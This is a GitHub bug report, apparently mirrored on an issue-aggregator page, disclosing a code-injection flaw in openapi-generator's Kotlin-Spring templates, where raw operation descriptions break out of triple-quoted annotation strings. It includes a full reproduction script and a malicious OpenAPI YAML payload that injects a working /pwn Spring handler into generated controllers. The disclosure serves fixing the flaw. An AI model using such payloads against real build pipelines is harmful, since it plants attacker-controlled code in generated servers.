OpenAPITools / OpenAPITools/openapi-generator

[BUG][Kotlin] Operation Description Escapes Generated Annotation String and Injects a Spring Handler

Open
#23,956 11 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Issue: Bug
Dominant language
Java
Stars
26.8k
Forks
7.7k
PR merge metrics
PR metrics pending

Description

Bug Report Checklist
  • [✅] Have you provided a full/minimal spec to reproduce the issue?
  • [✅] Have you validated the input using an OpenAPI validator?
  • [✅] Have you tested with the latest master to confirm the issue still exists?
  • [✅] Have you searched for related issues/PRs?
  • [✅] What's the actual output vs expected output?
  • [Optional] Sponsorship to speed up the bug fix or feature request (example)
Description

OpenAPI Generator has a similar vulnerability with CVE-2026-22785 in the Kotlin-Spring generator: an untrusted OpenAPI operation description is copied into generated Kotlin source through unescapedNotes and placed inside a triple-quoted annotation string. A malicious description containing """ can close the string, close the annotation, and insert attacker-controlled Kotlin/Spring declarations into the generated controller.

The vulnerable sink is in modules/openapi-generator/src/main/resources/kotlin-spring/api.mustache.

@Operation(
    summary = "{{{summary}}}",
    operationId = "{{{operationId}}}",
    description = """{{{unescapedNotes}}}""",
    responses = [{{#responses}}

The same pattern is also present in modules/openapi-generator/src/main/resources/kotlin-spring/apiInterface.mustache.

@Operation(
    tags = [{{#tags}}"{{{name}}}",{{/tags}}],
    summary = "{{{summary}}}",
    operationId = "{{{operationId}}}",
    description = """{{{unescapedNotes}}}""",
    responses = [{{#responses}}

The template uses unescapedNotes, not the escaped notes field. In modules/openapi-generator/src/main/java/org/openapitools/codegen/DefaultCodegen.java, unescapedNotes is assigned directly from the OpenAPI operation description:

op.summary = escapeText(operation.getSummary());
op.unescapedNotes = operation.getDescription();
op.notes = escapeText(operation.getDescription());

The Kotlin generator has escaping helpers, but those helpers are not applied to this unescapedNotes template path. modules/openapi-generator/src/main/java/org/openapitools/codegen/languages/AbstractKotlinCodegen.java only handles quote removal for escaped text and block-comment delimiter replacement for unsafe characters:

public String escapeQuotationMark(String input) {
    return input.replace("\"", "");
}

public String escapeUnsafeCharacters(String input) {
    return input.replace("*/", "*_/").replace("/*", "/_*");
}

Because the template renders the raw operation description inside a Kotlin triple-quoted string, an attacker-controlled """ terminates the annotation string. The attacker can then close the annotation and add Kotlin/Spring code before reopening a benign annotation string for the remaining generated template.

openapi-generator version

v7.22.0

Steps to reproduce

The following reproduction is self-contained. It checks out the affected OpenAPI Generator source, builds the CLI jar, creates the malicious OpenAPI document, generates a Kotlin-Spring server, compiles it, starts the generated
Spring application, and triggers the injected handler over HTTP.

set -eu

workdir="$(mktemp -d)"
cd "$workdir"

git clone --depth 1 https://github.com/OpenAPITools/openapi-generator.git
cd openapi-generator
git fetch --depth 1 origin 1dc89bd3d9081a4b2eff6baa8f7866109eb88a15
git checkout 1dc89bd3d9081a4b2eff6baa8f7866109eb88a15

./mvnw -q -pl modules/openapi-generator-cli -am package -DskipTests </dev/null
generator_jar="$(find modules/openapi-generator-cli/target -maxdepth 1 \
  -name 'openapi-generator-cli*.jar' \
  ! -name '*sources*' \
  ! -name '*javadoc*' \
  | head -n 1)"

cat > "$workdir/malicious-openapi.yaml" <<'YAML'
openapi: "3.0.3"
info:
  title: OpenAPI Generator Kotlin description injection
  version: "1.0.0"
paths:
  /ping:
    get:
      operationId: ping
      summary: Ping
      description: |
        """
            )
            @GetMapping("/pwn")
            fun pwn(): String {
                return "OPENAPI_GENERATOR_INJECTED_HANDLER"
            }
            @Operation(description = """
      responses:
        "200":
          description: OK
YAML

java -jar "$generator_jar" generate \
  -g kotlin-spring \
  -i "$workdir/malicious-openapi.yaml" \
  -o "$workdir/generated-server" \
  --additional-properties=interfaceOnly=false,serviceInterface=false,documentationProvider=springdoc,useSpringBoot3=false \
  </dev/null

grep -R '@GetMapping("/pwn")' "$workdir/generated-server/src/main/kotlin"
grep -R 'OPENAPI_GENERATOR_INJECTED_HANDLER' "$workdir/generated-server/src/main/kotlin"

cd "$workdir/generated-server"
chmod +x ./gradlew
./gradlew build -x test -Pkotlin.jvm.target.validation.mode=warning </dev/null

./gradlew bootRun --args='--server.port=18085' \
  -Pkotlin.jvm.target.validation.mode=warning </dev/null > "$workdir/boot.log" 2>&1 &
server_pid="$!"
trap 'kill "$server_pid" 2>/dev/null || true; wait "$server_pid" 2>/dev/null || true' EXIT

for i in $(seq 1 60); do
  response="$(curl -fsS http://127.0.0.1:18085/pwn 2>/dev/null || true)"
  if [ "$response" = "OPENAPI_GENERATOR_INJECTED_HANDLER" ]; then
    printf '%s\n' "$response"
    exit 0
  fi
  sleep 1
done

printf 'Injected handler did not become reachable. boot log follows:\n' >&2
cat "$workdir/boot.log" >&2
exit 1

Expected output from the final request:

OPENAPI_GENERATOR_INJECTED_HANDLER

The malicious OpenAPI operation description used by the script is:

openapi: "3.0.3"
info:
  title: OpenAPI Generator Kotlin description injection
  version: "1.0.0"
paths:
  /ping:
    get:
      operationId: ping
      summary: Ping
      description: |
        """
            )
            @GetMapping("/pwn")
            fun pwn(): String {
                return "OPENAPI_GENERATOR_INJECTED_HANDLER"
            }
            @Operation(description = """
      responses:
        "200":
          description: OK

The generated controller contains attacker-controlled source code:

@Operation(
    summary = "Ping",
    operationId = "ping",
    description = """"""
)
@GetMapping("/pwn")
fun pwn(): String {
    return "OPENAPI_GENERATOR_INJECTED_HANDLER"
}
@Operation(description = """
""",
    responses = [
        ApiResponse(responseCode = "200", description = "OK") ]
)
Related issues/PRs

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start with kotlin-spring/api.mustache and apiInterface.mustache, then trace unescapedNotes from DefaultCodegen.java and review the escaping helpers in AbstractKotlinCodegen.java. Run the supplied generation, build, and HTTP reproduction; done means the malicious description no longer produces the injected /pwn handler in generated Kotlin-Spring output.

Written by the indexing model from the issue text.

Assessment

Tech stack
java, kotlin, spring
Domain
backend-api-design, security, tooling
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
68/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.